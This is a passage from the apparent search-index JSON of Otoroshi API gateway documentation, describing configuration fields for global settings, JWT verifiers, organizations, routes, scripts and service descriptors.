choose the interval of time between the creation of a new index in elasticsearch \n* `Custom TLS Settings`: Enable the TLS configuration for the communication with Elasticsearch\n* `TLS loose`: if enabled, will block all untrustful ssl configs\n* `TrustAll`: allows any server certificates even the self-signed ones\n* `Client certificates`: list of client certificates used to communicate with elasticsearch\n* `Trusted certificates`: list of trusted certificates received from elasticsearch\n\n\n### Statsd settings\n\n* `Datadog agent`: The StatsD agent is a Datadog agent\n* `StatsD agent host`: The host on which StatsD agent is listening\n* `StatsD agent port`: The port on which StatsD agent is listening (default is 8125)\n\n\n### Backoffice auth. settings\n\n* `Backoffice auth. config`: the authentication module used in front of Otoroshi. It will be used to connect to Otoroshi on the login page\n\n### Let's encrypt settings\n\n* `Enabled`: when enabled, Otoroshi will have the possiblity to sign certificate from let's encrypt notably in the SSL/TSL Certificates page \n* `Server URL`: ACME endpoint of let's encrypt \n* `Email addresses`: (optional) list of addresses used to order the certificates \n* `Contact URLs`: (optional) list of addresses used to order the certificates \n* `Public Key`: used to ask a certificate to let's encrypt, generated by Otoroshi \n* `Private Key`: used to ask a certificate to let's encrypt, generated by Otoroshi \n\n\n### CleverCloud settings\n\nOnce configured, you can register one clever cloud app of your organization directly as an Otoroshi service.\n\n* `CleverCloud consumer key`: consumer key of your clever cloud OAuth 1.0 app\n* `CleverCloud consumer secret`: consumer secret of your clever cloud OAuth 1.0 app\n* `OAuth Token`: oauth token of your clever cloud OAuth 1.0 app\n* `OAuth Secret`: oauth token secret of your clever cloud OAuth 1.0 app \n* `CleverCloud orga. Id`: id of your clever cloud organization\n\n### Global scripts\n\nGlobal scripts will be deprecated soon, please use global plugins instead (see the next section)!\n\n### Global plugins\n\n* `Enabled`: enable the use of global plugins\n* `Plugins on new Otoroshi engine`: list of plugins used by the new Otoroshi engine\n* `Plugins on old Otoroshi engine`: list of plugins used by the old Otoroshi engine\n* `Plugin configuration`: the overloaded configuration of plugins\n\n### Proxies\n\nIn this section, you can add a list of proxies for :\n\n* Proxy for alert emails (mailgun)\n* Proxy for alert webhooks\n* Proxy for Clever-Cloud API access\n* Proxy for services access\n* Proxy for auth. access (OAuth, OIDC)\n* Proxy for client validators\n* Proxy for JWKS access\n* Proxy for elastic access\n\nEach proxy has the following fields \n\n* `Proxy host`: host of proxy\n* `Proxy port`: port of proxy\n* `Proxy principal`: user of proxy\n* `Proxy password`: password of proxy\n* `Non proxy host`: IP address that can access the service\n\n### Quotas alerting settings\n\n* `Enable quotas exceeding alerts`: When apikey quotas is almost exceeded, an alert will be sent \n* `Daily quotas threshold`: The percentage of daily calls before sending alerts\n* `Monthly quotas threshold`: The percentage of monthly calls before sending alerts\n\n### User-Agent extraction settings\n\n* `User-Agent extraction`: Allow user-agent details extraction. Can have impact on consumed memory. \n\n### Geolocation extraction settings\n\nExtract a geolocation for each call to Otoroshi.\n\n### Tls Settings\n\n* `Use random cert.`: Use the first available cert when none matches the current domain\n* `Default domain`: When the SNI domain cannot be found, this one will be used to find the matching certificate \n* `Trust JDK CAs (server)`: Trust JDK CAs. The CAs from the JDK CA bundle will be proposed in the certificate request when performing TLS handshake \n* `Trust JDK CAs (trust)`: Trust JDK CAs. The CAs from the JDK CA bundle will be used as trusted CAs when calling HTTPS resources \n* `Trusted CAs (server)`: Select the trusted CAs you want for TLS terminaison. Those CAs only will be proposed in the certificate request when performing TLS handshake \n\n\n### Auto Generate Certificates\n\n* `Enabled`: Generate certificates on the fly when they don't exist\n* `Reply Nicely`: When receiving request from a not allowed domain name, accept connection and display a nice error message \n* `CA`: certificate CA used to generate missing certificate\n* `Allowed domains`: Allowed domains\n* `Not allowed domains`: Not allowed domains\n \n\n### Global metadata\n\n* `Tags`: tags attached to the global config\n* `Metadata`: metadata attached to the global config\n\n### Actions at the bottom of the page\n\n* `Recover from a full export file`: Load global configuration from a previous export\n* `Full export`: Export with all created entities\n* `Full export (ndjson)`: Export your full state of database to ndjson format\n* `JSON`: Get the global config at JSON format \n* `YAML`: Get the global config at YAML format \n* `Enable Panic Mode`: Log out all users from UI and prevent any changes to the database by setting the admin Otoroshi api to read-only. The only way to exit of this mode is to disable this mode directly in the database. "},{"name":"index.md","id":"/entities/index.md","url":"/entities/index.html","title":"","content":"\n# Main entities\n\nIn this section, we will pass through all the main Otoroshi entities. Otoroshi entities are the main items stored in otoroshi datastore that will be used to configure routing, authentication, etc.\n\nAny entity has the following properties\n\n* **location** or **\\_loc**: the location of the entity (organization and team)\n* **id**: the id of the entity (except for apikeys)\n* **name**: the name of the entity\n* **description**: the description of the entity (optional)\n* **tags**: free tags that you can put on any entity to help you manage it, automate it, etc.\n* **metadata**: free key/value tuples that you can put on any entity to help you manage it, automate it, etc.\n\n@@@div { .entities }\n\n
\nRoutes\nProxy your applications with routes\n
\n@ref:[View](./routes.md)\n@@@\n\n@@@div { .entities }\n\n
\nBackends\nReuse route targets\n
\n@ref:[View](./backends.md)\n@@@\n\n@@@div { .entities }\n\n
\nApikeys\nAdd security to your services using apikeys\n
\n@ref:[View](./apikeys.md)\n@@@\n\n\n@@@div { .entities }\n\n
\nOrganizations\nThis the most high level for grouping resources.\n
\n@ref:[View](./organizations.md)\n@@@\n\n@@@div { .entities }\n\n
\nTeams\nOrganize your resources by teams\n
\n@ref:[View](./teams.md)\n@@@\n\n@@@div { .entities }\n\n
\nService groups\nGroup your services\n
\n@ref:[View](./service-groups.md)\n@@@\n\n@@@div { .entities }\n\n
\nJWT verifiers\nVerify and forge token by services.\n
\n@ref:[View](./jwt-verifiers.md)\n@@@\n\n@@@div { .entities }\n\n
\nGlobal Config\nThe danger zone of Otoroshi\n
\n@ref:[View](./global-config.md)\n@@@\n\n@@@div { .entities }\n\n
\nTCP services\n\n
\n@ref:[View](./tcp-services.md)\n@@@\n\n@@@div { .entities }\n\n
\nAuth. modules\nSecure the Otoroshi UI and your web apps\n
\n@ref:[View](./auth-modules.md)\n@@@\n\n@@@div { .entities }\n\n
\nCertificates\nAdd secure communication between Otoroshi, clients and services\n
\n@ref:[View](./certificates.md)\n@@@\n\n@@@div { .entities }\n\n
\nData exporters\nExport alerts, events ands logs\n
\n@ref:[View](./data-exporters.md)\n@@@\n\n@@@div { .entities }\n\n
\nScripts\n\n
\n@ref:[View](./scripts.md)\n@@@\n\n@@@div { .entities }\n\n
\nService descriptors\nProxy your applications with service descriptors\n
\n@ref:[View](./service-descriptors.md)\n@@@\n\n@@@ index\n\n* [Routes](./routes.md)\n* [Backends](./backends.md)\n* [Organizations](./organizations.md)\n* [Teams](./teams.md)\n* [Global Config](./global-config.md)\n* [Apikeys](./apikeys.md)\n* [Service groups](./service-groups.md)\n* [Auth. modules](./auth-modules.md)\n* [Certificates](./certificates.md)\n* [JWT verifiers](./jwt-verifiers.md)\n* [Data exporters](./data-exporters.md)\n* [Scripts](./scripts.md)\n* [TCP services](./tcp-services.md)\n* [Service descriptors](./service-descriptors.md)\n\n@@@\n"},{"name":"jwt-verifiers.md","id":"/entities/jwt-verifiers.md","url":"/entities/jwt-verifiers.html","title":"JWT verifiers","content":"# JWT verifiers\n\nSometimes, it can be pretty useful to verify Jwt tokens coming from other provider on some services. Otoroshi provides a tool to do that per service.\n\n* `Name`: name of the JWT verifier\n* `Description`: a simple description\n* `Strict`: if not strict, request without JWT token will be allowed to pass. This option is helpful when you want to force the presence of tokens in each request on a specific service \n* `Tags`: list of tags associated to the module\n* `Metadata`: list of metadata associated to the module\n\nEach JWT verifier is configurable in three steps : the `location` where find the token in incoming requests, the `validation` step to check the signature and the presence of claims in tokens, and the last step, named `Strategy`.\n\n## Token location\n\nAn incoming token can be found in three places.\n\n#### In query string\n\n* `Source`: JWT token location in query string\n* `Query param name`: the name of the query param where JWT is located\n\n#### In a header\n\n* `Source`: JWT token location in a header\n* `Header name`: the name of the header where JWT is located\n* `Remove value`: when the token is read, this value will be remove of header value (example: if the header value is *Bearer xxxx*, the *remove value* could be Bearer  don't forget the space at the end of the string)\n\n#### In a cookie\n\n* `Source`: JWT token location in a cookie\n* `Cookie name`: the name of the cookie where JWT is located\n\n## Token validation\n\nThis section is used to verify the extracted token from specified location.\n\n* `Algo.`: What kind of algorithm you want to use to verify/sign your JWT token with\n\nAccording to the selected algorithm, the validation form will change.\n\n#### Hmac + SHA\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Hmac secret`: used to verify the token\n* `Base64 encoded secret`: if enabled, the extracted token will be base64 decoded before it is verifier\n\n#### RSASSA-PKCS1 + SHA\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Public key`: the RSA public key\n* `Private key`: the RSA private key that can be empty if not used for JWT token signing\n\n#### ECDSA + SHA\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Public key`: the ECDSA public key\n* `Private key`: the ECDSA private key that can be empty if not used for JWT token signing\n\n#### RSASSA-PKCS1 + SHA from KeyPair\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `KeyPair`: used to sign/verify token. The displayed list represents the key pair registered in the Certificates page\n \n#### ECDSA + SHA from KeyPair\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `KeyPair`: used to sign/verify token. The displayed list represents the key pair registered in the Certificates page\n\n#### Otoroshi KeyPair from token kid (only for verification)\n* `Use only exposed keypairs`: if enabled, Otoroshi will only use the key pairs that are exposed on the well-known. If disabled, it will search on any registered key pairs.\n\n#### JWK Set (only for verification)\n\n* `URL`: the JWK set URL where the public keys are exposed\n* `HTTP call timeout`: timeout for fetching the keyset\n* `TTL`: cache TTL for the keyset\n* `HTTP Headers`: the HTTP headers passed\n* `Key type`: type of the key searched in the jwks\n\n*TLS settings for JWKS fetching*\n\n* `Custom TLS Settings`: TLS settings for JWKS fetching\n* `TLS loose`: if enabled, will block all untrustful ssl configs\n* `Trust all`: allows any server certificates even the self-signed ones\n* `Client certificates`: list of client certificates used to communicate with JWKS server\n* `Trusted certificates`: list of trusted certificates received from JWKS server\n\n*Proxy*\n\n* `Proxy host`: host of proxy behind the identify provider\n* `Proxy port`: port of proxy behind the identify provider\n* `Proxy principal`: user of proxy \n* `Proxy password`: password of proxy\n\n## Strategy\n\nThe first step is to select the verifier strategy. Otoroshi supports 4 types of JWT verifiers:\n\n* `Default JWT token` will add a token if no present. \n* `Verify JWT token` will only verifiy token signing and fields values if provided. \n* `Verify and re-sign JWT token` will verify the token and will re-sign the JWT token with the provided algo. settings. \n* `Verify, re-sign and transform JWT token` will verify the token, re-sign and will be able to transform the token.\n\nAll verifiers has the following properties: \n\n* `Verify token fields`: when the JWT token is checked, each field specified here will be verified with the provided value\n* `Verify token array value`: when the JWT token is checked, each field specified here will be verified if the provided value is contained in the array\n\n\n#### Default JWT token\n\n* `Strict`: if token is already present, the call will fail\n* `Default value`: list of claims of the generated token. These fields support raw values or language expressions. See the documentation about @ref:[the expression language](../topics/expression-language.md)\n\n#### Verify JWT token\n\nNo specific values needed. This kind of verifier needs only the two fields `Verify token fields` and `Verify token array value`.\n\n#### Verify and re-sign JWT token\n\nWhen `Verify and re-sign JWT token` is chosen, the `Re-sign settings` appear. All fields of `Re-sign settings` are the same of the `Token validation` section. The only difference is that the values are used to sign the new token and not to validate the token.\n\n\n#### Verify, re-sign and transform JWT token\n\nWhen `Verify, re-sign and transform JWT token` is chosen, the `Re-sign settings` and `Transformation settings` appear.\n\nThe `Re-sign settings` are used to sign the new token and has the same fields than the `Token validation` section.\n\nFor the `Transformation settings` section, the fields are:\n\n* `Token location`: the location where to find/set the JWT token\n* `Header name`: the name of the header where JWT is located\n* `Prepend value`: remove a value inside the header value\n* `Rename token fields`: when the JWT token is transformed, it is possible to change a field name, just specify origin field name and target field name\n* `Set token fields`: when the JWT token is transformed, it is possible to add new field with static values, just specify field name and value\n* `Remove token fields`: when the JWT token is transformed, it is possible to remove fields"},{"name":"organizations.md","id":"/entities/organizations.md","url":"/entities/organizations.html","title":"Organizations","content":"# Organizations\n\nThe resources of Otoroshi are grouped by `Organization`. This the highest level for grouping resources.\n\nAn organization have a unique `id`, a `name` and a `description`. As all Otoroshi resources, an Organization have a list of tags and metadata associated.\n\nFor example, you can use the organizations as a mean of :\n\n* to seperate resources by services or entities in your enterprise\n* to split internal and external usage of the resources (it's useful when you have a list of services deployed in your company and another one deployed by your partners)\n\n@@@ div { .centered-img }\n\n@@@\n\n## Access to the list of organizations\n\nTo visualize and edit the list of organizations, you can navigate to your instance on the `https://otoroshi.xxxxxx/bo/dashboard/organizations` route or click on the cog icon and select the organizations button.\n\nOnce on the page, you can create a new item, edit an existing organization or delete an existing one.\n\n> When an organization is deleted, the resources associated are not deleted. On the other hand, the organization and the team of associated resources are let empty.\n\n## Entities location\n\nAny otoroshi entity has a location property (`_loc` when serialized to json) explaining where and by whom the entity can be seen. \n\nAn entity can be part of one organization (`tenant` in the json document)\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"tenant-1\",\n \"teams\": ...\n }\n ...\n}\n```\n\nor all organizations\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"*\",\n \"teams\": ...\n }\n ...\n}\n```\n\n"},{"name":"routes.md","id":"/entities/routes.md","url":"/entities/routes.html","title":"Routes","content":"# Routes\n\nA route is an unique routing rule based on hostname, path, method and headers that will execute a bunch of plugins and eventually forward the request to the backend application.\n\n## UI page\n\nYou can find all routes [here](http://otoroshi.oto.tools:8080/bo/dashboard/routes)\n\n## Global Properties\n\n* `location`: the location of the entity\n* `id`: the id of the route\n* `name`: the name of the route\n* `description`: the description of the route\n* `tags`: the tags of the route. can be useful for api automation\n* `metadata`: the metadata of the route. can be useful for api automation. There are a few reserved metadata used by otorshi that can be found @ref[below](./routes.md#reserved-metadata)\n* `enabled`: is the route enabled ? if not, the router will not consider this route\n* `debugFlow`: the debug flag. If enabled, the execution report for this route will contain all input/output values through steps of the proxy engine. For more informations, check the @ref[engine documentation](../topics/engine.md#reporting)\n* `capture`: if enabled, otoroshi will generate events containing the whole content of each request. Use with caution ! For more informations, check the @ref[engine documentation](../topics/engine.md#http-traffic-capture)\n* `exportReporting`: if enabled, execution reports of the proxy engine will be generated for each request. Those reports are exportable using @ref[data exporters](./data-exporters.md) . For more informations, check the @ref[engine documentation](../topics/engine.md#reporting)\n* `groups`: each route is attached to a group. A group can have one or more services/routes. Each API key is linked to groups/routes/services and allow access to every entities in the groups.\n\n### Reserved metadata\n\nsome metadata are reserved for otoroshi usage. Here is the list of reserved metadata\n\n* `otoroshi-core-user-facing`: is this a user facing app for the snow monkey\n* `otoroshi-core-use-akka-http-client`: use the pure akka http client\n* `otoroshi-core-use-netty-http-client`: use the pure netty http client\n* `otoroshi-core-use-akka-http-ws-client`: use the modern websocket client\n* `otoroshi-core-issue-lets-encrypt-certificate`: enabled let's encrypt certificate issue for this route. true or false\n* `otoroshi-core-issue-certificate`: enabled certificate issue for this route. true or false\n* `otoroshi-core-issue-certificate-ca`: the id of the CA cert to generate the certificate for this route\n* `otoroshi-core-openapi-url`: the openapi url for this route\n* `otoroshi-core-env`: the env for this route. here for legacy reasons\n* `otoroshi-deployment-providers`: in the case of relay routing, the providers for this route\n* `otoroshi-deployment-regions`: in the case of relay routing, the network regions for this route\n* `otoroshi-deployment-zones`: in the case of relay routing, the network zone for this route \n* `otoroshi-deployment-dcs`: in the case of relay routing, the datacenter for this route \n* `otoroshi-deployment-racks`: in the case of relay routing, the rack for this route \n\n## Frontend configuration\n\n* `frontend`: the frontend of the route. It's the configuration that will configure how otoroshi router will match this route. A frontend has the following shape. \n\n```javascript\n{\n \"domains\": [ // the matched domains and paths\n \"new-route.oto.tools/path\" // here you can use wildcard in domain and path, also you can use named path params\n ],\n \"strip_path\": true, // is the matched path stripped in the forwarded request\n \"exact\": false, // perform exact matching on path, if not, will be matched on /path*\n \"headers\": {}, // the matched http headers. if none provided, any header will be matched\n \"query\": {}, // the matched http query params. if none provided, any query params will be matched\n \"methods\": [] // the matched http methods. if none provided, any method will be matched\n}\n```\n\nFor more informations about routing, check the @ref[engine documentation](../topics/engine.md#routing)\n\n## Backend configuration\n\n* `backend`: a backend to forward requests to. For more informations, go to the @ref[backend documentation](./backends.md)\n* `backendRef`: a reference to an existing backend id\n\n## Plugins\n\nthe liste of plugins used on this route. Each plugin definition has the following shape:\n\n```javascript\n{\n \"enabled\": false, // is the plugin enabled\n \"debug\": false, // is debug enabled of this specific plugin\n \"plugin\": \"cp:otoroshi.next.plugins.Redirection\", // the id of the plugin\n \"include\": [], // included paths. if none, all paths are included\n \"exclude\": [], // excluded paths. if none, none paths are excluded\n \"config\": { // the configuration of the plugin\n \"code\": 303,\n \"to\": \"https://www.otoroshi.io\"\n },\n \"plugin_index\": { // the position of the plugin. if none provided, otoroshi will use the order in the plugin array\n \"pre_route\": 0\n }\n}\n```\n\nfor more informations about the available plugins, go @ref[here](../plugins/built-in-plugins.md)\n\n\n"},{"name":"scripts.md","id":"/entities/scripts.md","url":"/entities/scripts.html","title":"Scripts","content":"# Scripts\n\nScript are a way to create plugins for otoroshi without deploying them as jar files. With scripts, you just have to store the scala code of your plugins inside the otoroshi datastore and otoroshi will compile and deploy them at startup. You can find all your scripts in the UI at `cog icon / Plugins`. You can find all the documentation about plugins @ref:[here](../plugins/index.md)\n\n@@@ warning\nThe compilation of your plugins can be pretty long and resources consuming. As the compilation happens during otoroshi boot sequence, your instance will be blocked until all plugins have compiled. This behavior can be disabled. If so, the plugins will not work until they have been compiled. Any service using a plugin that is not compiled yet will fail\n@@@\n\nLike any entity, the script has has the following properties\n\n* `id`\n* `plugin name`\n* `plugin description`\n* `tags`\n* `metadata`\n\nAnd you also have\n\n* `type`: the kind of plugin you are building with this script\n* `plugin code`: the code for your plugin\n\n## Compile\n\nYou can use the compile button to check if the code you write in `plugin code` is valid. It will automatically save your script and try to compile. As mentionned earlier, script compilation is quite resource intensive. It will affect your CPU load and your memory consumption. Don't forget to adjust your VM settings accordingly.\n"},{"name":"service-descriptors.md","id":"/entities/service-descriptors.md","url":"/entities/service-descriptors.html","title":"Service descriptors","content":"# Service descriptors\n\nServices or service descriptor, let you declare how to proxy a call from a domain name to another domain name (or multiple domain names). \n\n@@@ div { .centered-img }\n\n@@@\n\nLet’s say you have an API exposed on http://192.168.0.42 and I want to expose it on https://my.api.foo. Otoroshi will proxy all calls to https://my.api.foo and forward them to http://192.168.0.42. While doing that, it will also log everyhting, control accesses, etc.\n\n\n* `Id`: a unique random string to identify your service\n* `Groups`: each service descriptor is attached to a group. A group can have one or more services. Each API key is linked to a group and allow access to every service in the group.\n* `Create a new group`: you can create a new group to host this descriptor\n* `Create dedicated group`: you can create a new group with an auto generated name to host this descriptor\n* `Name`: the name of your service. Only for debug and human readability purposes.\n* `Description`: the description of your service. Only for debug and human readability purposes.\n* `Service enabled`: activate or deactivate your service. Once disabled, users will get an error page saying the service does not exist.\n* `Read only mode`: authorize only GET, HEAD, OPTIONS calls on this service\n* `Maintenance mode`: display a maintainance page when a user try to use the service\n* `Construction mode`: display a construction page when a user try to use the service\n* `Log analytics`: Log analytics events for this service on the servers\n* `Use new http client`: will use Akka Http Client for every request\n* `Detect apikey asap`: If the service is public and you provide an apikey, otoroshi will detect it and validate it. Of course this setting may impact performances because of useless apikey lookups.\n* `Send Otoroshi headers back`: when enabled, Otoroshi will send headers to consumer like request id, client latency, overhead, etc ...\n* `Override Host header`: when enabled, Otoroshi will automatically set the Host header to corresponding target host\n* `Send X-Forwarded-* headers`: when enabled, Otoroshi will send X-Forwarded-* headers to target\n* `Force HTTPS`: will force redirection to `https://` if not present\n* `Allow HTTP/1.0 requests`: will return an error on HTTP/1.0 request\n* `Use new WebSocket client`: will use the new websocket client for every websocket request\n* `TCP/UDP tunneling`: with this setting enabled, otoroshi will not proxy http requests anymore but instead will create a secured tunnel between a cli on your machine and otoroshi to proxy any tcp connection with all otoroshi security features enabled\n\n### Service exposition settings\n\n* `Exposed domain`: the domain used to expose your service. Should follow pattern: `(http|https)://subdomain?.env?.domain.tld?/root?` or regex `(http|https):\\/\\/(.*?)\\.?(.*?)\\.?(.*?)\\.?(.*)\\/?(.*)`\n* `Legacy domain`: use `domain`, `subdomain`, `env` and `matchingRoot` for routing in addition to hosts, or just use hosts.\n* `Strip path`: when matching, strip the matching prefix from the upstream request URL. Defaults to true\n* `Issue Let's Encrypt cert.`: automatically issue and renew let's encrypt certificate based on domain name. Only if Let's Encrypt enabled in global config.\n* `Issue certificate`: automatically issue and renew a certificate based on domain name\n* `Possible hostnames`: all the possible hostnames for your service\n* `Possible matching paths`: all the possible matching paths for your service\n\n### Redirection\n\n* `Redirection enabled`: enabled the redirection. If enabled, a call to that service will redirect to the chosen URL\n* `Http redirection code`: type of redirection used\n* `Redirect to`: URL used to redirect user when the service is called\n\n### Service targets\n\n* `Redirect to local`: if you work locally with Otoroshi, you may want to use that feature to redirect one specific service to a local host. For example, you can relocate https://foo.preprod.bar.com to http://localhost:8080 to make some tests\n* `Load balancing`: the load balancing algorithm used\n* `Targets`: the list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures\n* `Targets root`: Otoroshi will append this root to any target choosen. If the specified root is `/api/foo`, then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar\n\n### URL Patterns\n\n* `Make service a 'public ui'`: add a default pattern as public routes\n* `Make service a 'private api'`: add a default pattern as private routes\n* `Public patterns`: by default, every services are private only and you'll need an API key to access it. However, if you want to expose a public UI, you can define one or more public patterns (regex) to allow access to anybody. For example if you want to allow anybody on any URL, just use `/.*`\n* `Private patterns`: if you define a public pattern that is a little bit too much, you can make some of public URL private again\n\n### Restrictions\n\n* `Enabled`: enable restrictions\n* `Allow last`: Otoroshi will test forbidden and notFound paths before testing allowed paths\n* `Allowed`: allowed paths\n* `Forbidden`: forbidden paths\n* `Not Found`: not found paths\n\n### Otoroshi exchange protocol\n\n* `Enabled`: when enabled, Otoroshi will try to exchange headers with backend service to ensure no one else can use the service from outside.\n* `Send challenge`: when disbaled, Otoroshi will not check if target service respond with sent random value.\n* `Send info. token`: when enabled, Otoroshi add an additional header containing current call informations\n* `Challenge token version`: version the otoroshi exchange protocol challenge. This option will be set to V2 in a near future.\n* `Info. token version`: version the otoroshi exchange protocol info token. This option will be set to Latest in a near future.\n* `Tokens TTL`: the number of seconds for tokens (state and info) lifes\n* `State token header name`: the name of the header containing the state token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.state)\n* `State token response header name`: the name of the header containing the state response token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.stateresp)\n* `Info token header name`: the name of the header containing the info token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.claim)\n* `Excluded patterns`: by default, when security is enabled, everything is secured. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.\n* `Use same algo.`: when enabled, all JWT token in this section will use the same signing algorithm. If `use same algo.` is disabled, three more options will be displayed to select an algorithm for each step of the calls :\n * Otoroshi to backend\n * Backend to otoroshi\n * Info. token\n\n* `Algo.`: What kind of algorithm you want to use to verify/sign your JWT token with\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Hmac secret`: used to verify the token\n* `Base64 encoded secret`: if enabled, the extracted token will be base64 decoded before it is verifier\n\n### Authentication\n\n* `Enforce user authentication`: when enabled, user will be allowed to use the service (UI) only if they are registered users of the chosen authentication module.\n* `Auth. config`: authentication module used to protect the service\n* `Create a new auth config.`: navigate to the creation of authentication module page\n* `all auth config.`: navigate to the authentication pages\n\n* `Excluded patterns`: by default, when security is enabled, everything is secured. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.\n* `Strict mode`: strict mode enabled\n\n### Api keys constraints\n\n* `From basic auth.`: you can pass the api key in Authorization header (ie. from 'Authorization: Basic xxx' header)\n* `Allow client id only usage`: you can pass the api key using client id only (ie. from Otoroshi-Token header)\n* `From custom headers`: you can pass the api key using custom headers (ie. Otoroshi-Client-Id and Otoroshi-Client-Secret headers)\n* `From JWT token`: you can pass the api key using a JWT token (ie. from 'Authorization: Bearer xxx' header)\n\n#### Basic auth. Api Key\n\n* `Custom header name`: the name of the header to get Authorization\n* `Custom query param name`: the name of the query param to get Authorization\n\n#### Client ID only Api Key\n\n* `Custom header name`: the name of the header to get the client id\n* `Custom query param name`: the name of the query param to get the client id\n\n#### Custom headers Api Key\n\n* `Custom client id header name`: the name of the header to get the client id\n* `Custom client secret header name`: the name of the header to get the client secret\n\n#### JWT Token Api Key\n\n* `Secret signed`: JWT can be signed by apikey secret using HMAC algo.\n* `Keypair signed`: JWT can be signed by an otoroshi managed keypair using RSA/EC algo.\n* `Include Http request attrs.`: if enabled, you have to put the following fields in the JWT token corresponding to the current http call (httpPath, httpVerb, httpHost)\n* `Max accepted token lifetime`: the maximum number of second accepted as token lifespan\n* `Custom header name`: the name of the header to get the jwt token\n* `Custom query param name`: the name of the query param to get the jwt token\n* `Custom cookie name`: the name of the cookie to get the jwt token\n\n### Routing constraints\n\n* `All Tags in` : have all of the following tags\n* `No Tags in` : not have one of the following tags\n* `One Tag in` : have at least one of the following tags\n* `All Meta. in` : have all of the following metadata entries\n* `No Meta. in` : not have one of the following metadata entries\n* `One Meta. in` : have at least one of the following metadata entries\n* `One Meta key in` : have at least one of the following key in metadata\n* `All Meta key in` : have all of the following keys in metadata\n* `No Meta key in` : not have one of the following keys in metadata\n\n### CORS support\n\n* `Enabled`: if enabled, CORS header will be check for each incoming request\n* `Allow credentials`: if enabled, the credentials will be sent. Credentials are cookies, authorization headers, or TLS client certificates.\n* `Allow origin`: if enabled, it will indicates whether the response can be shared with requesting code from the given\n* `Max age`: response header indicates how long the results of a preflight request (that is the information contained in the Access-Control-Allow-Methods and Access-Control-Allow-Headers headers) can be cached.\n* `Expose headers`: response header allows a server to indicate which response headers should be made available to scripts running in the browser, in response to a cross-origin request.\n* `Allow headers`: response header is used in response to a preflight request which includes the Access-Control-Request-Headers to indicate which HTTP headers can be used during the actual request.\n* `Allow methods`: response header specifies one or more methods allowed when accessing a resource in response to a preflight request.\n* `Excluded patterns`: by default, when cors is enabled, everything has cors. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.\n\n#### Related documentations\n\n* @link[Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials) { open=new }\n* @link[Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) { open=new }\n* @link[Access-Control-Max-Age](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age) { open=new }\n* @link[Access-Control-Allow-Methods](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Methods) { open=new }\n* @link[Access-Control-Allow-Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Headers) { open=new }\n\n### JWT tokens verification\n\n* `Verifiers`: list of selected verifiers to apply on the service\n* `Enabled`: if enabled, Otoroshi will enabled each verifier of the previous list\n* `Excluded patterns`: list of routes where the verifiers will not be apply\n\n### Pre Routing\n\nThis part has been deprecated and moved to the plugin section.\n\n### Access validation\nThis part has been deprecated and moved to the plugin section.\n\n### Gzip support\n\n* `Mimetypes allowed list`: gzip only the files that are matching to a format in the list\n* `Mimetypes blocklist`: will not gzip files matching to a format in the list. A possible way is to allowed all format by default by setting a `*` on the `Mimetypes allowed list` and to add the unwanted format in this list.\n* `Compression level`: the compression level where 9 gives us maximum compression but at the slowest speed. The default compression level is 5 and is a good compromise between speed and compression ratio.\n* `Buffer size`: chunking up a stream of bytes into limited size\n* `Chunk threshold`: if the content type of a request reached over the threshold, the response will be chunked\n* `Excluded patterns`: by default, when gzip is enabled, everything has gzip. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.\n\n### Client settings\n\n* `Use circuit breaker`: use a circuit breaker to avoid cascading failure when calling chains of services. Highly recommended !\n* `Cache connections`: use a cache at host connection level to avoid reconnection time\n* `Client attempts`: specify how many times the client will retry to fetch the result of the request after an error before giving up.\n* `Client call timeout`: specify how long each call should last at most in milliseconds.\n* `Client call and stream timeout`: specify how long each call should last at most in milliseconds for handling the request and streaming the response.\n* `Client connection timeout`: specify how long each connection should last at most in milliseconds.\n* `Client idle timeout`: specify how long each connection can stay in idle state at most in milliseconds.\n* `Client global timeout`: specify how long the global call (with retries) should last at most in milliseconds.\n* `C.breaker max errors`: specify how many errors can pass before opening the circuit breaker\n* `C.breaker retry delay`: specify the delay between two retries. Each retry, the delay is multiplied by the backoff factor\n* `C.breaker backoff factor`: specify the factor to multiply the delay for each retry\n* `C.breaker window`: specify the sliding window time for the circuit breaker in milliseconds, after this time, error count will be reseted\n\n#### Custom timeout settings (list)\n\n* `Path`: the path on which the timeout will be active\n* `Client connection timeout`: specify how long each connection should last at most in milliseconds.\n* `Client idle timeout`: specify how long each connection can stay in idle state at most in milliseconds.\n* `Client call and stream timeout`: specify how long each call should last at most in milliseconds for handling the request and streaming the response.\n* `Call timeout`: Specify how long each call should last at most in milliseconds.\n* `Client global timeout`: specify how long the global call (with retries) should last at most in milliseconds.\n\n#### Proxy settings\n\n* `Proxy host`: host of proxy behind the identify provider\n* `Proxy port`: port of proxy behind the identify provider\n* `Proxy principal`: user of proxy \n* `Proxy password`: password of proxy\n\n### HTTP Headers\n\n* `Additional Headers In`: specify headers that will be added to each client request (from Otoroshi to target). Useful to add authentication.\n* `Additional Headers Out`: specify headers that will be added to each client response (from Otoroshi to client).\n* `Missing only Headers In`: specify headers that will be added to each client request (from Otoroshi to target) if not in the original request.\n* `Missing only Headers Out`: specify headers that will be added to each client response (from Otoroshi to client) if not in the original response.\n* `Remove incoming headers`: remove headers in the client request (from client to Otoroshi).\n* `Remove outgoing headers`: remove headers in the client response (from Otoroshi to 